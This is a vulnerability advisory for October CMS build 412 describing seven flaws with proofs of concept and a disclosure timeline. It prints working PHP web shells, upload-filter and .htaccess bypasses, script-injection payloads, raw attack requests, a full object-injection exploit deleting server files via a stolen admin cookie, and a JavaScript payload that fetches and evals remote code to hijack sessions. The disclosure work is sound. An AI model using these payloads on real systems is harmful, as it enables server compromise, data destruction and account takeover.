Date

Information

Name:October CMS 1.0.412 (build 412)
Software:October CMS
Homepage:http://octobercms.com
Vulnerability:several issues, including PHP code execution
Prerequisites:victim has to be authenticated user with media or asset management permission
Severity:high
CVE-s:CVE-2017-1000119, CVE-2017-1000193, CVE-2017-1000194, CVE-2017-1000195, CVE-2017-1000196, CVE-2017-1000197

Description

October CMS build 412 contains several vulnerabilities. Some of them allow an attacker to execute PHP code on the server. Following issues have been identified:

  1. CVE-2017-1000119 - PHP upload protection bypass
  2. CVE-2017-1000194 - Apache .htaccess upload
  3. CVE-2017-1000193 - stored WCI in image name
  4. reflected WCI while displaying project ID
  5. CVE-2017-1000196 - PHP code execution via asset management
  6. CVE-2017-1000195 - delete file via PHP object injection
  7. CVE-2017-1000197 - asset save path modification

Proof of Concepts

1. CVE-2017-1000119 - PHP upload protection bypass

Authenticated user with permission to upload and manage media contents can upload various files on the server. Application prevents the user from uploading PHP code by checking the file extension. It uses black-list based approach, as seen in octobercms/vendor/october/rain/src/Filesystem/Definitions.php:blockedExtensions().

106<?php
107protected function blockedExtensions()
108{
109        return [
110                // redacted
111                'php',
112                'php3',
113                'php4',
114                'phtml',
115                // redacted
116        ];
117}

This approach is fragile and easily bypassed as soon as the administrator changes the file extension that is used for executing PHP. It even fails to prevent from uploading files when the administrator uses default configuration for Apache server. For example, Ubuntu server 14.04 uses Apache 2.4.16 with a following configuration: /etc/apache2/mods-enabled/php5.conf

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
        SetHandler application/x-httpd-php
</FilesMatch>

Files that are executed as PHP are:

  1. .php
  2. .php3
  3. .php4
  4. .php5
  5. .pht
  6. .phtml
  7. .php7 // in newer settings

We can easily bypass file upload restriction on those systems by using an alternative extension, e.g if we upload sh.php5 on the server:

<?php $_REQUEST['x']($_REQUEST['c']);

Code can be execute by making a following request: http://victim.site/storage/app/media/sh.php5?x=system&c=pwd

/var/www/octobercms/storage/app/media

2. CVE-2017-1000194 - Apache .htaccess upload

As described in the PHP upload protection bypass section, the application uses black-list based defense. It does not prevent the attacker from uploading a .htaccess files which makes it exploitable on Apache servers. Attacker can use it to add another handler for PHP files and upload code under an alternative name. Attacker has to first upload the .htaccess configuration file with following settings:

AddHandler application/x-httpd-php .z

This will execute all .z files as PHP and after uploading a code named sh.z to the server. It can be used to execute code as described previously.

3. CVE-2017-1000193 - stored WCI in image name

Authenticated user, with permission to customize back-end settings, can store WCI payload in the image name. The functionality is located at:

Settings -> Customize Back-end -> Brand Logo -> (upload logo) -> (edit name) -> (add title)

Set the name to following value: change me to something else "><script>alert("stored WCI")</script x=". Payload is executed when the victim clicks on the image name to edit it.

sWCI in image name

And the DOM in the browser is the following:

<div class="form-group">
        <input name="title" class="form-control" value="change me to something else " type="text"><script>alert("stored WCI")</script>
</div>

When the administrator edits user's profile image, attacker's payload is executed, allowing him to execute JavaScript during administrator's active session. This can be used, for example, to set a "super-user" permission.

4. reflected WCI while displaying project ID

Authenticated user with permission to manage software updates can "Attach Project". When invalid value is provided, the error message doesn't properly escape the given value, which allows an attacker to execute code. Since it requires the victim to paste or write the payload in the input field, then it isn't easily exploitable.

Payload: "><script>alert(1)</script x="

POST /backend/system/updates HTTP/1.1
Host: victim.site
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-OCTOBER-REQUEST-HANDLER: onAttachProject
X-Requested-With: XMLHttpRequest
Content-Length: 57
Cookie:  admin_auth=...
Connection: close

project_id=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript+x%3D%22

5. CVE-2017-1000196 - PHP code execution via asset management

Authenticated user with permission to manage website assets, can use this functionality to upload PHP code and execute it on the server.

Asset management URL: http://victim.site/backend/cms. Functionality is located at: CMS -> Assets -> Add -> Create file.

First, attacker creates a new asset test.js with the following content:

<pre><?php if(isset($_REQUEST['x'])){echo system($_REQUEST['x']);}?></pre>

After saving the file, attacker renames it to test.php5 by clicking on >_ icon on the newly created file. Modal window opens which allows to specify a new filename. URL to execute PHP code: http://victim.site/themes/demo/assets/test.php5?x=ls%20-lah

total 44K
drwxrwxrwx 1 www-data www-data 4.0K Apr  8 08:36 .
drwxrwxrwx 1 www-data www-data 4.0K Apr  8 08:12 ..
drwxrwxrwx 1 www-data www-data 4.0K Apr  3 20:33 css
drwxrwxrwx 1 www-data www-data 4.0K Apr  3 20:33 fonts
drwxrwxrwx 1 www-data www-data 4.0K Apr  3 20:33 images
drwxrwxrwx 1 www-data www-data 4.0K Apr  3 20:33 javascript
drwxrwxrwx 1 www-data www-data 4.0K Apr  3 20:33 less
-rw-rw-rw- 1 www-data www-data   74 Apr  8 08:30 test.php5
drwxrwxrwx 1 www-data www-data 4.0K Apr  3 20:33 vendor

6. CVE-2017-1000195 - delete file via PHP object injection

Authenticated user with "Create, modify and delete CMS partials" or "Create, modify and delete CMS layouts" can move assets to different folders. This functionality is vulnerable to PHP object injection. User input is read from selectedList parameter on line 11 and passed as argument to unserialize(). Unserialized array object is passed to validatePath() on line 32.

 1<?php namespace Cms\Widgets;
 2
 3class AssetList extends WidgetBase
 4{
 5        // redacted
 6
 7        public function onMove()
 8        {
 9                $this->validateRequestTheme();
10
11                $selectedList = Input::get('selectedList');
12                if (!strlen($selectedList)) {
13                        throw new ApplicationException(Lang::get('cms::lang.asset.selected_files_not_found'));
14                }
15
16                $destinationDir = Input::get('dest');
17                if (!strlen($destinationDir)) {
18                        throw new ApplicationException(Lang::get('cms::lang.asset.select_destination_dir'));
19                }
20
21                $destinationFullPath = $this->getFullPath($destinationDir);
22                if (!file_exists($destinationFullPath) || !is_dir($destinationFullPath)) {
23                        throw new ApplicationException(Lang::get('cms::lang.asset.destination_not_found'));
24                }
25
26                $list = @unserialize(@base64_decode($selectedList));
27                if ($list === false) {
28                        throw new ApplicationException(Lang::get('cms::lang.asset.selected_files_not_found'));
29                }
30
31                foreach ($list as $path) {
32                        if (!$this->validatePath($path)) {
33                                throw new ApplicationException(Lang::get('cms::lang.asset.invalid_path'));
34                        }
35
36                // ...

Method validatePath()'s argument $path is under our control. Since the application uses class autoloading, we can specify any object as an argument. The object given to validePath() method is then used as an argument to preg_match(), which in turn calls the object's __toString() method. We need to take this into consideration, when we try to find a code path to execute. Finally, the object is deleted and it's __destruct() method is called. After some searching, I found a code path which allows us to delete files on the system. For this, we need to use object Swift_Mime_SimpleMimeEntity. It's __destruct() method uses property $this->_cache, which is under our control, and allows us to call an object's clearAll() method.

 1<?php
 2
 3class Swift_Mime_SimpleMimeEntity implements Swift_Mime_MimeEntity
 4{
 5
 6        //redacted
 7
 8        public function __destruct()
 9        {
10                if ($this->_cache instanceof Swift_KeyCache) {
11                        $this->_cache->clearAll($this->_cacheKey);
12                }
13        }

I picked the Swift_KeyCache_DiskKeyCache object as the value for property $this->_cache. We can see, that the method checks if the value $nsKey is in the array $this->_keys and then calls the method clearKey(). Our controlled parameters $nsKey and $itemKey are then used to construct a file path and then passed to the dangerous method unlink().

 1<?php
 2
 3class Swift_KeyCache_DiskKeyCache implements Swift_KeyCache
 4{
 5        // redacted
 6
 7        public function hasKey($nsKey, $itemKey)
 8        {
 9                return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
10        }
11
12        public function clearKey($nsKey, $itemKey)
13        {
14                if ($this->hasKey($nsKey, $itemKey)) {
15                        $this->_freeHandle($nsKey, $itemKey);
16                        unlink($this->_path.'/'.$nsKey.'/'.$itemKey);
17                }
18        }
19
20        public function clearAll($nsKey)
21        {
22                if (array_key_exists($nsKey, $this->_keys)) {
23                        foreach ($this->_keys[$nsKey] as $itemKey => $null) {
24                                $this->clearKey($nsKey, $itemKey);
25                        }
26                        if (is_dir($this->_path.'/'.$nsKey)) {
27                                rmdir($this->_path.'/'.$nsKey);
28                        }
29                        unset($this->_keys[$nsKey]);
30                }
31        }
32
33        // ...

Following PHP exploit uses the vulnerability. It requires an authenticated user's session to execute as described previously.

<?php

class Swift_Mime_SimpleHeaderSet {}

class Swift_KeyCache_DiskKeyCache
{
    private $_keys;

    public function __construct($path, $filename) {
        $this->_keys = [$path => [ $filename => null]];
    }
}

class Swift_Mime_SimpleMimeEntity {
        private $_headers;
        private $_cache;
        private $_cacheKey;

        public function __construct($filename, $path = '') {
                $this->_headers = new Swift_Mime_SimpleHeaderSet();
                $this->_cache = new Swift_KeyCache_DiskKeyCache($path, $filename);
                $this->_cacheKey = $path;
        }
}

function payload($filename) {
        $builder = new Swift_Mime_SimpleMimeEntity($filename);
        return base64_encode(serialize([$builder]));
}

function http($config) {
        $ch = curl_init($config['url']);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($config['data']));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $config['headers']);
        curl_setopt($ch, CURLOPT_COOKIE, $config['cookies']);
        curl_setopt($ch, CURLOPT_PROXY, $config['proxy']);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

        return curl_exec($ch);
}

function get_config($url, $filename, $session) {
        return [
                'url' => $url.'/backend/cms',
                'data' => [
                        'dest' => '/',
                        'theme' => 'demo',
                        'selectedList' => payload($filename),
                ],
                'headers' => [
                        'X-OCTOBER-REQUEST-HANDLER: assetList::onMove',
                        'X-Requested-With: XMLHttpRequest',
                ],
                'cookies' => 'admin_auth='.$session,
                'proxy' => 'localhost:8080',
        ];
}

$url = 'http://victim.site';
$session = '<specify admin_auth cookie value here>';
$filename = '/tmp/target.txt';

echo http(get_config($url, $filename, $session));

7. CVE-2017-1000197 - asset save path modification

Authenticated user, with permission to manage website assets, can modify the path the file is saved to. This allows an attacker to save css, js, less, sass, scss files at different locations. Attacker can possibly use it to execute JavaScript on the site, if the application tries to require an file on the server that does not exist or the attacker manages to delete the file beforehand. When an attacker creates a new asset, then the following request is made.

Asset management URL: http://victim.site/backend/cms. Functionality is located at: CMS -> Assets -> Add -> Create file.

POST /backend/cms HTTP/1.1
Host: victim.site
Content-Length: 817
Content-Type: application/x-www-form-urlencoded
X-OCTOBER-REQUEST-HANDLER: onSave
X-Requested-With: XMLHttpRequest
Cookie: admin_auth=...;
Connection: close

fileName=test.js&content=test&templateType=asset&theme=demo

The parameter fileName isn't validated and allows an attacker to specify an path where the file should be saved to. Overwriting files is forbidden. If we specify the file name as ../../../test.js then we can assert that the file is created at the root of site's web directory.

admin@victim.site:/var/www/octobercms# ll
total 84
drwxrwxrwx 1 www-data www-data 4096 Apr  9 11:12 ./
drwxrwxrwx 1 www-data www-data 4096 Apr  9 10:16 ../
-rw-rw-rw- 1 www-data www-data 1654 Apr  3 20:33 .htaccess
-rw-rw-rw- 1 www-data www-data 1640 Apr  7 17:28 artisan
drwxrwxrwx 1 www-data www-data 4096 Apr  3 20:33 bootstrap/
drwxrwxrwx 1 www-data www-data 4096 Apr  8 20:14 config/
-rw-rw-rw- 1 www-data www-data 1173 Apr  7 17:28 index.php
drwxrwxrwx 1 www-data www-data 4096 Apr  3 20:33 modules/
drwxrwxrwx 1 www-data www-data 4096 Apr  3 20:33 plugins/
drwxrwxrwx 1 www-data www-data 4096 Apr  3 20:33 storage/
-rw-rw-rw- 1 www-data www-data    4 Apr  9 11:12 test.js
drwxrwxrwx 1 www-data www-data 4096 Apr  6 18:48 themes/
drwxrwxrwx 1 www-data www-data 4096 Apr  3 20:33 vendor/

admin@victim.site:/var/www/octobercms# cat test.js
test

We can execute JavaScript by combining this issue with file deletion vulnerability via POI. For that, we are going to replace the modules/backend/assets/js/vendor/jquery.min.js file with our own content. It is loaded on the page for every authenticated user and allows us as an attacker to take control of their session. The payload for this example is the following:

var c = new XMLHttpRequest();
c.open('GET', 'https://code.jquery.com/jquery-1.11.1.js', false);
c.onreadystatechange = () => eval(c.responseText);
c.send();
var h = () => {location.hash = 'Hacked: ' + (new Date())};
setInterval(h, 1000);

After we delete the jquery.min.js file on the server, we create a new asset with the payload as the content.

POST /backend/cms HTTP/1.1
Host: victim.site
Content-Length: 371
Content-Type: application/x-www-form-urlencoded
X-OCTOBER-REQUEST-HANDLER: onSave
X-Requested-With: XMLHttpRequest
Cookie: admin_auth=...;
Connection: close

fileName=../../../modules/backend/assets/js/vendor/jquery.min.js&content=var+c+%3d+new+XMLHttpRequest()%3b
c.open('GET',+'https%3a//code.jquery.com/jquery-1.11.1.js',+false)%3b
c.onreadystatechange+%3d+()+%3d>+eval(c.responseText)%3b
c.send()%3b
var+h+%3d+()+%3d>+{location.hash+%3d+'Hacked%3a+'+%2b+(new+Date())}%3b
setInterval(h,+1000)%3b
&templateType=asset&theme=demo

After the victim authenticates, the payload is executed. For this example, it changes the URL hash every second, but can be used to take control of the victims session.

Conclusion

Authenticated user with permission to manage website assets, upload and manage media contents or customize back-end settings can use vulnerabilities found there to execute PHP code on the server and take control of the application.

Communication with developers was good and issues were addressed quickly. As a result, new release v1.0.413 has been made available.

Timeline

  • 05.04.2017 | me > developer     | first vulnerability discovered
  • 06.04.2017 | me > developer     | initial contact
  • 07.04.2017 | me > developer     | sent PoC
  • 09.04.2017 | developer > me     | developer implemented patches; requested additional information
  • 09.04.2017 | me > developer     | sent PoC with additional information and findings
  • 10.04.2017 | developer > me     | all issues were patched
  • 11.04.2017 | developer > public | new release
  • 11.04.2017 | me > DWF           | CVE request
  • 12.04.2017 | me > public        | full disclosure
  • 23.08.2017 | DWF > me           | CVE assigned